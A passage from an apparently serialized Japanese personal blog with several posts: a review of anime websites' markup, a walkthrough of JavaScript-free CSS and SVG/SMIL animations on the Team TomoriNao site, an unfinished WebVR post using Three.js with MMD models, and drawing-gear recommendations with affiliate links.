なし\n IEサポート | html5.js\n リソース配置位置 | /css, /lib, /js, /assets\n viewport | width=device-width\n noscript | なし\n Serverレスポンスヘッダ | なし\n ドメイン取得日 | 2015-12-18\n\n\n\n### ステラのまほう\n\n2016年冬アニメのほんわか担当として放映されているゆるふわアニメです。\n\n\n\n\n[TVアニメ「ステラのまほう」公式サイト](http://magicofstella.com/)\n\nほわほわしているアニメですが、背景の星がめまぐるしく上昇しているアクティブなWebサイトです。かわいいですね。\nさて肝心のソースコードはどうでしょう。\n\n\n\nおっとまたしてもXHTML!そして見慣れた core_sys のリソースディレクトリ!\nさすが同じきらら作品だけあって依頼する業者が同じだったということですね。\nしかしコメントアウトで機能を除外することもなくなっていることが確認でき、半年前の作品よりは成長しているように感じます。\n\nしかし成長ばかりではなく、JavaScriptを無効にした状態では表示が崩れてしまう退化とも言える変わりぶりもあります。\n\nSNS部のアニメですが、SNS用のOpenGraphタグはなく、SNSの語源がSocial Networking Serviceでないことを再確認させられます。\n\n#### ステラのまほうまとめ\n\n 機能 | 状態\n :----:|:----:\n HTML宣言 | XHTML\n 文字コード | UTF-8\n jQuery | 1.12.0\n OGP | なし\n IEサポート | なし\n リソース配置位置 | /core_sys\n viewport | width=1050\n noscript | \"Javascriptを有効にしてください\"\n Serverレスポンスヘッダ | なし\n ドメイン取得日 | 2015-12-03\n\n\n## まとめ\nかわいい女の子も中身は汚い心を持っているということがありますが、アニメのWebサイトにも同様ということがわかりました。\n\nとにもかくにも、このご時世にOGPタグを設定していないのはいかがなものかと思います。\nせっかくの宣伝の機会なのですし、SNSを利用してよにもっと知ってもらえるよう、適切にタグを挿入しておいてほしいです。\n\nまた、ここまで読めばわかる通り、トップの画像はそれぞれのサイトをJavaScript無効で読み込んだスクリーンショットです。\nこのご時世JavaScript無効にする奴なんて鼻で笑われるかもしれませんが、\n広告業界が悪質な誤クリックを誘発させる造りであったりマルウェアをJavaScript経由で読み込ませようとしていたりすることから、\n信頼の置けるサイト以外ではJavaScriptを無効にするのがあたりまえな2017年が来るかもしれません。\nそういったことを考えると、JavaScript無効でも表示できるようにしておいて損はないでしょう。\n"]}],[0,{"slug":[0,"2016/12/17/teamtomorinao/"],"data":[0,{"title":[0,"Team TomoriNaoのサイトの秘密"],"date":[3,"2016-12-17T08:00:00.000Z"],"image":[0,"/assets/images/2016/12/17/tomorinao.pro.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Web"]]],"tags":[1,[[0,"svg"],[0,"css3"],[0,"html5"],[0,"smil"]]]}],"content":[0,"\nこちらは[友利奈緒 Advent Calendar 2016 - Adventar](http://www.adventar.org/calendars/1379) 17日目の記事です。\n\n## TomoriNao\n\n昨年のこの時期、ふとした思いつきからTeam TomoriNaoというホワイトハッカー(死語?)チームが生まれました。\n皆さんもご覧に入れたことがあると思いますが、トップの画像のようなチームロゴを掲げています。\nこのトップの画像はロゴとして用意した公式のものではなく、Team TomoriNaoのWebサイトのスクリーンキャプチャです。\n\n[**Team TomoriNao**](https://tomorinao.pro)\n\nTeam TomoriNaoのWebサイトは、**JavaScript** を使用せずにいろいろなアニメーションやアクションを実装しているのをご存知ですか?\nこのちょっとした仕掛けを今回は紹介していきたいと思います。\n\n\n## 目次\n\n\n### ロゴのアニメーション\n\n#### 文字列の縁取り\n\nまずサイトを開くと現れるロゴのアニメーション。\n彗星の輝きが表現されていた今までに加え、1周年を記念してロゴの描画アニメーションが増えています。\n\nロゴの描画アニメーションはもちろんJavaScriptを用いず、CSS3の _keyframe_ によって実現されています。\n\n[CSS アニメーション - CSS \\| MDN](https://developer.mozilla.org/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations)\n\nCSS3のSVGアニメーションで制御できるものは限られているものの[^1]、Pathのライン取りのアニメーションは容易に実現できます。\nロゴの縁取りを行うアニメーションは、`stroke-dasharray`と`stroke-dashoffset`属性によって実現できます。\n`stroke-dasharray`はパスのストロークを破線として表示するときの間隔を指定し、`storke-dashoffset`は破線の開始位置を指定します。\nちょうどパスストロークの長さ分を`stroke-dasharray`として破線の間隔を指定し、\nその破線の開始位置を`storke-dashoffset`で指定することで、縁取りのされていない透明な文字が表現できます。\nそこから _keyframe_ によるアニメーションで`storke-dashoffset`を0に近づけていくと、文字列の縁取りが実現できます。\n\n**TomoriNao** という文字列はそれぞれ独立したパスでできており、パスの大きさが違うが故にパスストロークの長さも違います。\n一文字ずつパスの長さを測り、以下のように指定しました。\n\n```css\nsvg #TomoriNao path {\n\tfill: none;\n\tstroke-linecap: round;\n\tanimation: dash 1.6s ease-in 0.4s forwards/*, color 1s ease-in 2.2s forwards*/;\n}\nsvg #TomoriNao path[name=T] {\n\tstroke-dasharray: 290;\n\tstroke-dashoffset: 290;\n}\nsvg #TomoriNao path[name=o] {\n\tstroke-dasharray: 216;\n\tstroke-dashoffset: 216;\n}\n/* more */\n\n@keyframes dash {\n\t100% { stroke-dashoffset: 0; }\n}\n@keyframes color {\n\t0% { fill: rgba(0, 0, 0, 0); }\n\t100% { fill: rgba(0, 0, 0, 1); }\n}\n```\n\nこれを適用すると、ページがロードされてから0.4秒後に1.6秒間かけてすべての文字が書き上がる表現ができます。\n以下はデモのためにループやタイミング関数が調整されていますが、だいたい上記のコードでこのような表示になります。\n\n<style>\nsvg #tomorinao-demo1 path {\n\tfill: none;\n\tstroke-linecap: round;\n\tanimation: dash 2s ease-in-out infinite;\n\t-webkit-animation: dash 2s ease-in-out infinite;\n}\nsvg #tomorinao-demo1 path[name=T] {\n\tstroke-dasharray: 290;\n\tstroke-dashoffset: 290;\n}\nsvg #tomorinao-demo1 path[name=o] {\n\tstroke-dasharray: 216;\n\tstroke-dashoffset: 216;\n}\nsvg #tomorinao-demo1 path[name=m] {\n\tstroke-dasharray: 478;\n\tstroke-dashoffset: 478;\n}\nsvg #tomorinao-demo1 path[name=r] {\n\tstroke-dasharray: 186;\n\tstroke-dashoffset: 186;\n}\nsvg #tomorinao-demo1 path[name=i] {\n\tstroke-dasharray: 136;\n\tstroke-dashoffset: 136;\n}\nsvg #tomorinao-demo1 path[name=N] {\n\tstroke-dasharray: 476;\n\tstroke-dashoffset: 476;\n}\nsvg #tomorinao-demo1 path[name=a] {\n\tstroke-dasharray: 442;\n\tstroke-dashoffset: 442;\n}\n\n@keyframes dash {\n\t100% { stroke-dashoffset: 0; }\n}\n@-webkit-keyframes dash {\n\t100% { stroke-dashoffset: 0; }\n}\n</style>\n<svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" x=\"0\" y=\"0\" width=\"100%\" height=\"100%\" viewBox=\"30, 130, 400, 200\" style=\"background-color: #fff\">\n <g id=\"tomorinao-demo1\">\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M55.91,137 L55.91,145.1 L87.91,145.1 L87.91,209 L96.01,209 L96.01,145.1 L127.91,145.1 L127.91,137 z\" fill=\"#020204\" name=\"T\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M134.71,151 C128.01,151 122.61,156.4 122.61,163.1 L122.61,196.9 C122.61,203.6 128.01,209 134.71,209 L169.51,209 C176.31,209 181.71,203.6 181.71,196.9 L181.71,163.1 C181.71,156.4 176.31,151 169.51,151 z M169.51,159.2 C171.71,159.2 173.41,161 173.41,163.1 L173.41,196.9 C173.41,199 171.71,200.8 169.51,200.8 L134.71,200.8 C132.61,200.8 130.81,199 130.81,196.9 L130.81,163.1 C130.81,161 132.61,159.2 134.71,159.2 z\" fill=\"#020204\" name=\"o\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M268.71,151 C268.71,151 210.347,151 204.172,151 C197.356,151 192.11,157.049 192.11,163.156 C192.11,169.5 192.11,209 192.11,209 L200.41,209 L200.41,163.1 C200.41,161 202.21,159.2 204.31,159.2 L228.51,159.2 C230.61,159.2 232.41,161 232.41,163.1 L232.41,209 L240.71,209 L240.71,163.1 C240.71,161 242.41,159.2 244.61,159.2 L268.71,159.2 C270.91,159.2 272.71,161 272.71,163.1 L272.71,209 L280.81,209 L280.81,163.1 C280.81,156.4 275.51,151 268.71,151 z\" fill=\"#020204\" name=\"m\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M301.71,151 C295.01,151 289.61,156.4 289.61,163.1 L289.61,196.9 C289.61,203.6 295.01,209 301.71,209 L336.51,209 C343.31,209 348.71,203.6 348.71,196.9 L348.71,163.1 C348.71,156.4 343.31,151 336.51,151 z M336.51,159.2 C338.71,159.2 340.41,161 340.41,163.1 L340.41,196.9 C340.41,199 338.71,200.8 336.51,200.8 L301.71,200.8 C299.61,200.8 297.81,199 297.81,196.9 L297.81,163.1 C297.81,161 299.61,159.2 301.71,159.2 z\" fill=\"#020204\" name=\"o\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M375.07,151 C363.612,151 357.91,155.731 357.91,169.532 L357.91,209 L366.11,209 L366.11,169.532 C366.11,161.841 368.9,159.2 375.07,159.2 L395.97,159.2 L395.97,151 z\" fill=\"#020204\" name=\"r\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M401.89,209 L410.09,209 L410.09,151 L401.89,151 z M401.89,132 L401.89,140.2 L410.09,140.2 L410.09,132 z\" fill=\"#020204\" name=\"i\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M123.41,319.8 L70.61,257 L59.51,257 L59.51,329 L67.61,329 L67.61,266.2 L120.41,329 L131.51,329 L131.51,257 L123.41,257 z\" fill=\"#020204\" name=\"N\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M142.31,271 L142.31,279.2 L189.21,279.2 C191.41,279.2 193.11,281 193.11,283.1 L193.11,295.9 L142.31,295.9 L142.31,316.9 C142.31,323.6 147.71,329 154.41,329 L184.7,329 L184.7,320.8 L154.41,320.8 C152.31,320.8 150.51,319 150.51,316.9 L150.51,304.1 L193.11,304.1 L193.106,329 L201.41,329 L201.41,283.1 C201.41,276.4 196.01,271 189.21,271 L142.31,271 z\" fill=\"#020204\" name=\"a\"/>\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M223.71,271 C217.01,271 211.61,276.4 211.61,283.1 L211.61,316.9 C211.61,323.6 217.01,329 223.71,329 L258.51,329 C265.31,329 270.71,323.6 270.71,316.9 L270.71,283.1 C270.71,276.4 265.31,271 258.51,271 z M258.51,279.2 C260.71,279.2 262.41,281 262.41,283.1 L262.41,316.9 C262.41,319 260.71,320.8 258.51,320.8 L223.71,320.8 C221.61,320.8 219.81,319 219.81,316.9 L219.81,283.1 C219.81,281 221.61,279.2 223.71,279.2 z\" fill=\"#020204\" name=\"o\"/>\n </g>\n</svg>\n\n\nちなみにTomoriNaoの文字は、Orbitronをベースに変更を加えたものです。\n\n[Orbitron - Google Fonts](https://fonts.google.com/specimen/Orbitron)\n\n#### 彗星の輝き\n\nこちらはSVGアニメーションのSMILで書かれています。\n\n[SVG animation with SMIL - SVG \\| MDN](https://developer.mozilla.org/ja/docs/Web/SVG/SVG_animation_with_SMIL)\n\n輝きを表現する中心が輝いた円形グラデーションを塗りつぶしとして用意し、それを移動させたりグラデーション半径を拡大縮小して彗星が輝いているように見せています。\nまず、SVGの`<radialGradient>`要素で円形グラデーションを定義し、中心を輝きとして#DDDDEEの色で、外側に向かってチームカラーの#14A6C8を指定します。\nそして、`<radialGradient>`要素内で、`<animate>`要素によってグラデーションの中心位置とグラデーション半径を、アニメーションしています。\n\n```xml\n<radialGradient id=\"comet\" cx=\"0\" cy=\"0\" r=\"0.1\">\n <stop offset=\"0%\" stop-color=\"#DDDDEE\"/>\n <stop offset=\"100%\" stop-color=\"#14A6C8\"/>\n <animate attributeName=\"cx\" values=\"0; 0; 0.02; 0.28; 0.6; 0.70; 0.88; 0.92; 0.88; 0.82; 0.62; 0.50; 0.34\" dur=\"5s\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.926;0.933;0.942;0.956;0.965;0.970;0.975;0.98;0.99;1\"/>\n <animate attributeName=\"cy\" values=\"0; 0; 0.20; 0.13; 0.1; 0.11; 0.20; 0.30; 0.40; 0.50; 0.70; 0.80; 0.92\" dur=\"5s\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.926;0.933;0.943;0.956;0.965;0.970;0.975;0.98;0.99;1\"/>\n <animate attributeName=\"r\" values=\"0.1; 0.1; 0.20; 0.30; 0.40;\" dur=\"5\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.99;1\"/>\n</radialGradient>\n```\n\nロゴでは見えない部分をわかりやすく表したデモが以下のようになっています。\n\n<svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" x=\"0\" y=\"0\" width=\"60%\" height=\"auto\" viewBox=\"85, 17, 396, 467\">\n <radialGradient id=\"comet\" cx=\"0\" cy=\"0\" r=\"0.1\">\n <stop offset=\"0%\" stop-color=\"#DDDDEE\"/>\n <stop offset=\"100%\" stop-color=\"#14A6C8\"/>\n <animate attributeName=\"cx\" values=\"0; 0; 0.02; 0.28; 0.6; 0.70; 0.88; 0.92; 0.88; 0.82; 0.62; 0.50; 0.34\" dur=\"5s\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.926;0.933;0.942;0.956;0.965;0.970;0.975;0.98;0.99;1\"/>\n <animate attributeName=\"cy\" values=\"0; 0; 0.20; 0.13; 0.1; 0.11; 0.20; 0.30; 0.40; 0.50; 0.70; 0.80; 0.92\" dur=\"5s\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.926;0.933;0.943;0.956;0.965;0.970;0.975;0.98;0.99;1\"/>\n <animate attributeName=\"r\" values=\"0.1; 0.1; 0.20; 0.30; 0.40;\" dur=\"5\" restart=\"always\" repeatCount=\"indefinite\" calcMode=\"linear\" keyTimes=\"0;0.9;0.9;0.99;1\"/>\n </radialGradient>\n <g id=\"tomorinao-demo2\">\n <rect x=\"85\" y=\"17\" width=\"396\" height=\"467\" fill=\"url(#comet)\" />\n <path stroke=\"#000\" stroke-width=\"1\" d=\"M324.803,54.442 C371.743,54.332 423.559,63.888 452.117,104.701 C480.968,149.082 453.815,203.597 427.841,242.23 C396.369,289.041 355.831,329.811 314.132,367.499 L316,369.367 L410.345,375.311 L315.999,381.251 L378.509,452.167 L307.596,389.654 L301.652,484 L295.712,389.654 L292.619,386.561 C268.526,407.088 244.158,427.396 218.563,446.049 C242.585,425.662 265.898,404.4 288.245,382.187 L287.309,381.251 L192.963,375.306 L287.309,369.367 L224.8,298.451 L295.713,360.963 L301.657,266.618 L307.597,360.964 L308.446,361.814 C352.21,314.206 400.346,263.843 424.228,202.557 C435.284,174.184 439.88,141.825 420.677,115.929 C343.878,17.118 84.943,109.192 84.943,109.192 C161.44,79.191 242.282,56.64 324.803,54.442 z\" fill=\"none\"/>\n </g>\n</svg>\n\n\nなぜCSS3ではなくSMILを使ったかというと、このグラデーションのパラメータがCSS3では変更できなかったからという理由があります。\n\n### サイトのフェードイン\n\nこれもCSS3 keyframeアニメーションで実現されています。\nロゴが表示される最初のセクション意外に対して、最初は透明にしておき、ロゴ表示のタイミングで不透明度を変更するという形でフェードインをしています。\n\n```css\nbody > section:not(:first-of-type) {\n\topacity: 0;\n\tanimation: visible 1s ease-in 2s forwards;\n}\n\n@keyframes visible {\n\t100% { opacity: 1; }\n}\n```\n\n### More... ボタン\n\nNEWSセクションにMoreボタンがありますが、このボタンによって追加の項目を表示する部分も、JavaScriptなしで実現しています。\nMore...ボタンの正体は、実は **チェックボックス** で、チェックされた状態を示すCSS3の擬似セレクタである`:checked`で表示を切り替えています。\n\n`<input type=\"checkbox\" name=\"show_more\">`として用意したチェックボックスを非表示にし、その隣に`<label>`要素をfor属性で関連付けして表示してあります。\n`<label>`は、クリックが可能であることを示すよう、`cursor: pointer;`が指定されています。\nチェックされいないチェックボックスの後に続く要素を非表示にするため、`:not`擬似セレクタと後続を示すセレクタ` ~ `を組み合わせています。\nその`<label>`をクリックすると、チェックボックスがチェックされ、非表示が解除されると同時に、CSS3 transitionとtransformの組み合わせによって、\n横から要素がスライドして表示されるようになっています。\n\n```css\n[name=show_more] {\n\tvisibility: hidden;\n}\n[for=show_more] {\n\tcursor: pointer;\n}\n[name=show_more]:checked, [name=show_more]:checked ~ label {\n\tdisplay: none;\n}\n[name=show_more]:not(:checked) ~ div {\n\tvisibility: hidden;\n\theight: 0;\n\twidth: 0;\n}\n[name=show_more]:checked ~ div {\n\tvisibility: visible;\n\theight: auto;\n\twidth: auto;\n\toverflow: hidden;\n}\n[name=show_more]:not(:checked) ~ div * {\n\ttransform: translateX(300px);\n\topacity: 0;\n}\n[name=show_more]:checked ~ div * {\n\ttransform: translateX(0px);\n\topacity: 1;\n\ttransition-property: transform, opacity;\n\ttransition-duration: 0.5s;\n\ttransition-timing-function: ease;\n}\n```\n\n## まとめ\n\n悪意のある広告にJavaScriptが利用されていたり、JavaScriptが複雑化しページの表示が重くなる一方の2016年。\n2017年はNo-JSが叫ばれ、JavaScriptなしで如何にきれいにサイトを表現するかを考えさせられるかもしれません。\nまた、きれいな表示にかかせないアニメーションにJavaScriptを用いる時代ではなくなっています。\nみなさんの管理するWebサイトでまさかjQueryをつかったアニメーションなどは利用していないと思いますが、\n一度、CSS3やSMILでNo-JSなアニメーションを真剣に考えてみてはいかがでしょうか。\n\n---\n\n[^1]: [プレゼンテーション属性 SVG 属性リファレンス - SVG \\| MDN](https://developer.mozilla.org/ja/docs/Web/SVG/Attribute#Presentation_attributes)\n"]}],[0,{"slug":[0,"2016/12/24/haihuri-web-vr/"],"data":[0,{"title":[0,"はいふりWeb VRつくろうよ!"],"date":[3,"2016-12-23T16:00:00.000Z"],"image":[0,"/assets/images/2016/12/24/out-of-playarea.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Web"]]],"tags":[1,[[0,"webgl"],[0,"webvr"],[0,"html5"],[0,"three.js"]]]}],"content":[0,"\n\nこれは[はいふり Advent Calendar 2016 - Adventar](http://www.adventar.org/calendars/1382)の24日目の記事です。\n\nこんにちは、艦長の岬です。\n締め切りを伸ばしに伸ばした冬コミの各種原稿に押されてしまい、アドベントカレンダーのための時間がまったくとれませんでした。\n〆切は本日の12:00なのでまだまだ脱稿前なのです。\nということで、はいふりアドベントカレンダー24日目の記事は、まったく時間がない状態で書かれていることを念頭に、続きを読み進めてください。\n\n## 目次\n\n\nハードルを下げに下げたところで記事の内容の話に移ります。\n当初はThree.jsを用いたはいふりWeb VRを画策していました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">はいふりWebVRやろうと思ったけどすごすぎて足元にも及べなさそうなのでネタチェンジ</p>&mdash; 原稿進捗49/50:3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/807224354161364993\">2016年12月9日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nはいふりアドベントカレンダーが進むにつれ、本格的なはいふりVRの記事が登場し、はいふりWeb VRは取り下げようと思いました。\nちがうネタを仕込み、期日までにかきあげようと思った今月頭。\nそんな夢は悲しくも多くのタスクが降ってきて新しいネタを握ってる暇もありませんでした。\nなので現在の制作途中の状態を24日目のアドベントカレンダーとしてまとめました。\n間に合わなくてごめんなさい;;\n\n## Web VR\n\nWeb VRとは名前そのまま、WebブラウザでVRを楽しむためのAPIや開発環境・実行環境の総称として近年登場したものです。\n\n[WebVR API - Web API インターフェイス \\| MDN](https://developer.mozilla.org/ja/docs/Web/API/WebVR_API)\n\nブラウザで3DCGゲームをバリバリ動かす[Web GL](https://www.khronos.org/webgl/)の沿線に語られ、\n同様にして「ブラウザさえあれば、なにもいらない。」でVRを実現するためのものです。\nスマホやタブレット、ヘッドセットの加速度・ジャイロセンサーを用いることで、Web空間をVRとして操作することができます。\n\nWeb VRの利用や実装にはJavaScriptベタ書きのほか、3Dライブラリを使う手があります。\nライブラリを用いることで、スマートフォーンなどを用いた本格的なVRヘッドセットを必要としない、簡易VRを楽しむことも可能となります。\nそのうちの一つ、今回は[Three.js](https://threejs.org/)を用いてWeb VRを簡単に実現しようと企てました。\n\n## Three.js\n\nThree.jsは最近追加されたMMD Loaderによって、日本国内で多く用いられるMMDモデルを読み込んでWeb GL/Web VRで表示できるようになりました。\nこれができるということは、自由なライセンスで配布されている艦のモデルや艦長のモデルを読み込んで表示させることができるということです。\n\nさっそく、[はいふり Advent Calendar 2016](http://www.adventar.org/calendars/1382)の6日目の記事に登場した\n[岬明乃MMDモデル](http://www.nicovideo.jp/watch/sm29502246)\nと\n[夕雲型駆逐艦MMDモデル](http://seiga.nicovideo.jp/seiga/im3973377)\nを読み込み、Three.jsのWeb GLレンダラで表示させてみることにしました。\n\n### 艦モデル\n\n艦を表示させるにおいて最適な背景として、Three.jsのサンプルにある海のシェーダを利用しました。\n\n[three.js webgl - shaders - ocean](https://threejs.org/examples/webgl_shaders_ocean.html)\n\n夕雲型駆逐艦MMDモデルを読み込み表示したところ、MMDモデルのカラー情報が適切に扱えてないようで、変なところに値がセットされてしまい、\nテクスチャのないところは艦の色が黒くなっているところが多くあります。\n\n\n\nまた、MMDモデルは日本で多く利用されていることもあり、日本語ファイル名が<del>クソ文字エンコード</del>Shift_JISで記されていることから、\n内部のファイル読み込み処理をフックし、TextDecoder APIを用いて適切にファイル名を変換してあげる必要がありました。\n\n[TextDecoder() - Web API インターフェイス \\| MDN](https://developer.mozilla.org/ja/docs/Web/API/TextDecoder/TextDecoder)\n\n\n\n\n艦の色がおかしい点を除けば、さらさらと揺れる波の背景のおかげでそれらしく見えます。\n\n\n\n艦橋もしっかりとモデルが作り込まれていますね。\n\n### 艦長\n\n艦長においても、艦と同様にしてMMD LoaderによってWeb GLで表示させることができます。\n\n\n\nボーンの位置が初期状態なので腕と足を広げたままですが、パラメタをいくつかいじったり、\nMMDのモーションデータをセットすることで、動きをつけることができます。\n\n\n\nさきほどの艦に乗せてあげると、より海を往きている感じが表現できます。\n\n---\n\nと、ここまでで進捗が止まっています。\n表面上はこれだけしか進んでいないのですが、\n現時点でMMDファイルの内包されたZipファイルをブラウザにD&Dすることで新しい乗員を追加する機能や、\n艦を前進させる機能などが実装されています。\n\n時間があるときにちょこちょこと進めていき、はいふり1期再放送で晴風が沈む前には公開できるかたちにしたいです。\n\n## まとめ\n\nDone is better than perfect.\n"]}],[0,{"slug":[0,"2016/12/25/next-kamieshi/"],"data":[0,{"title":[0,"形から入る神絵師2017年版"],"date":[3,"2016-12-24T16:00:00.000Z"],"image":[0,"/assets/images/2016/12/25/kamie.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"kamieshi"],[0,"haihuri"]]]}],"content":[0,"\nこの記事は[神絵師 Advent Calendar 2016 - Adventar](http://www.adventar.org/calendars/1831)の25日目を飾るにふさわしい記事です。\n\nメリークリスマス!神絵師歴2ヶ月の神絵師です。\n神絵師のみなさま、今年もクリスマスがやってきましたね。\n冬コミ原稿の進捗はどうですか?\n[我らのサークル](https://splashworks.jp)は割り増しに割り増しを重ねた料金で先ほど入稿を済ませました。\n印刷、間に合うといいですね。\n\n神絵師じゃないみなさま、来年こそは神絵師の仲間入りを果たしたいと思いませんか?\n思いますよね!\nそんなあなたに、形から入る神絵師のなり方を伝授いたします!\n\n## 目次\n\n\n## 神絵師入門グッズ\n\nまずは金にものを言わせていいグッズを揃えましょう。\n\n### ペン\n\n神絵師になるには何においてもまずは紙に描くことから。\nシャープペンを揃えましょう。\n個人的に、スリーブが伸びていて、ペン先の落ちる場所が確実に目視できる製図ペンタイプのシャープペンがすきです。\n製図用ペンはペンの重さや芯の太さ違いで7本持っていますが、ここ最近は軽量タイプのものをよく使います。\n軽量タイプのものでオススメの2つを紹介します。\n\n#### ぺんてる グラフギア500\n\n[グラフギア500|商品紹介|ぺんてる株式会社](http://www.pentel.co.jp/products/automaticpencils/graphgear500/)\n\n\n\n\n日本ブランドのぺんてるから製図ペンシリーズとして展開されているグラフギア。\nその中でも軽量でかつ参考価格500円と低価格で購入できる、グラフギア500を最近は愛用しています。\n軸の持ち味は他の高価な製図用シャープペンシルと変わらず、滑ることのないしっかりとした凹凸のついたものとなっています。\nAmazonでは参考価格より大幅に安く販売されているため、神絵師入門として買っておいて損はないでしょう。買いましょう。\n\n[Amazon \\| ぺんてる シャープペン グラフギア500 0.5mm PG515 \\| シャープペン \\| 文房具・オフィス用品](https://www.amazon.co.jp/%E3%81%BA%E3%82%93%E3%81%A6%E3%82%8B-%E3%82%B7%E3%83%A3%E3%83%BC%E3%83%97%E3%83%9A%E3%83%B3-%E3%82%B0%E3%83%A9%E3%83%95%E3%82%AE%E3%82%A2500-0-5mm-PG515/dp/B0017OR0ZG/ref=sr_1_1?ie=UTF8&qid=1482587820&tag=mzyy-22)\n\n\n#### STAEDTLER 925\n\n[製品紹介(Products):製図用シャープペンシル \\| STAEDTLER Japan website!](http://www.staedtler.jp/products/01_writing/07a-mechanical-pencil/index.html)\n\n\n\n\nドイツブランドのSTAEDTLERもぺんてるに引けを取らず、数多くの製図ペンシリーズをSTAEDTLER 925として販売しています。\n925シリーズは大好きで、重さや芯の太さ違いで4本持っています。\n昔はよく重みのある925 25シルバーシリーズを利用していましたが、ここ数ヶ月はグラフギアと同位置に置かれる無印925を使うようになりました。\n価格も同程度でペン先の見通しも大きな違いはないため、軸の持ち手の好みに合わせ、グラフギア500かSTAEDTLER 925を択一で選択するのがよいのではないでしょうか。\n\n[Amazon.co.jp: ステッドラー シャープペン 製図用 925 05 0.5mm: 文房具・オフィス用品](https://www.amazon.co.jp/%E3%82%B9%E3%83%86%E3%83%83%E3%83%89%E3%83%A9%E3%83%BC-%E3%82%B7%E3%83%A3%E3%83%BC%E3%83%97%E3%83%9A%E3%83%B3-925-05-0-5mm/dp/B002BNJIFC?tag=mzyy-22)\n\n\n### タブレット\n\n紙絵師としての成長を感じたら次はデジタル神絵師になりましょう。\n本物の神絵師たちはWacomのペンタブを買っているようですが、私の場合は違います。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"und\" dir=\"ltr\">😶 <a href=\"https://t.co/zt1ZbmYeet\">pic.twitter.com/zt1ZbmYeet</a></p>&mdash; 入稿完了:3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/732867861761269760\">2016年5月18日</a></blockquote>\n\n\n\n#### iPad Pro\n\n一枚のスーパーコンピュータ。\n\n[Amazon \\| iPad Pro 9.7インチ Wi-Fiモデル 128GB MLMX2J/A ゴールド \\| タブレットPCストア オンライン通販](https://www.amazon.co.jp/iPad-9-7%E3%82%A4%E3%83%B3%E3%83%81-Wi-Fi%E3%83%A2%E3%83%87%E3%83%AB-128GB-MLMX2J/dp/B01DOUDLY4/ref=sr_1_3?ie=UTF8&qid=1482589871&tag=mzyy-22)\n\n\n#### iPad ProのためのApple Pencil\n\nおなじみの形が革命を起こします。\n\n[Amazon.co.jp: Apple Pencil MK0C2J/A: パソコン・周辺機器](https://www.amazon.co.jp/%E3%82%A2%E3%83%83%E3%83%97%E3%83%AB-MK0C2J-A-Apple-Pencil/dp/B018MX3PNU/ref=sr_1_1?s=computers&ie=UTF8&qid=1482590082&tag=mzyy-22)\n\n\n絵を書くだけに留まらず、動画をみたりアプリを作ったりいろいろなことができる点で、神絵師を目指すには近道となること請け負いです。\n\n### ソフトウェア\n\n絵を描くためのソフトウェアも必要となります。\n\n#### Procreate\n\niPadですらすらと絵をくのにオススメなのが、このProcreate。\nイラストを描くのに必要なツールは一通り揃っているほか、Apple Pencilはもちろん、各種筆圧感知スタイラスペンに対応しています。\nペンを使っているときは、指の反応を無効にすることができるほか、\nレイヤーを保持したPSD形式で出力できるため、PCやMacで仕上げを行うことができます。\n\n<img src=\"/assets/images/2016/12/25/procreate-icon.jpg\" style=\"border-radius: 26px; width: 120px; height: 120px; border: none;\" >\n\n[Procreateを App Store で](https://itunes.apple.com/jp/app/procreate/id425073498?mt=8&at=1l3v4mQ)\n\n<a href=\"https://itunes.apple.com/jp/app/procreate/id425073498?mt=8&at=1l3v4mQ\" style=\"display:inline-block;overflow:hidden;background:url(//linkmaker.itunes.apple.com/assets/shared/badges/ja-jp/appstore-lrg.svg) no-repeat;width:135px;height:40px;background-size:contain;\"></a>\n\nちなみに記事トップのすてきな画像はProcreateで描いたものです。\n\n\n#### CLIP STUDIO PAINT\n\n<a href=\"https://www.amazon.co.jp/%E3%82%BB%E3%83%AB%E3%82%B7%E3%82%B9-CLIP-STUDIO-PAINT-PRO/dp/B00856V104/ref=as_li_ss_il?ie=UTF8&qid=1482600602&sr=8-1&keywords=clipstudiopaint&linkCode=li2&tag=mzyy-22&linkId=fb2578358645d88998db8c131842967f\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00856V104&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n[Amazon \\| CLIP STUDIO PAINT PRO \\| セルシス \\| ソフトウェア 通販](https://www.amazon.co.jp/%E3%82%BB%E3%83%AB%E3%82%B7%E3%82%B9-CLIP-STUDIO-PAINT-PRO/dp/B00856V104/ref=sr_1_1?ie=UTF8&qid=1482589950&tag=mzyy-22)\n\n神絵師御用達CLIP STUDIO PAINT(通称:クリスタ)です。\nCLIP STUDIO PAINTはiPad版が **まだ** 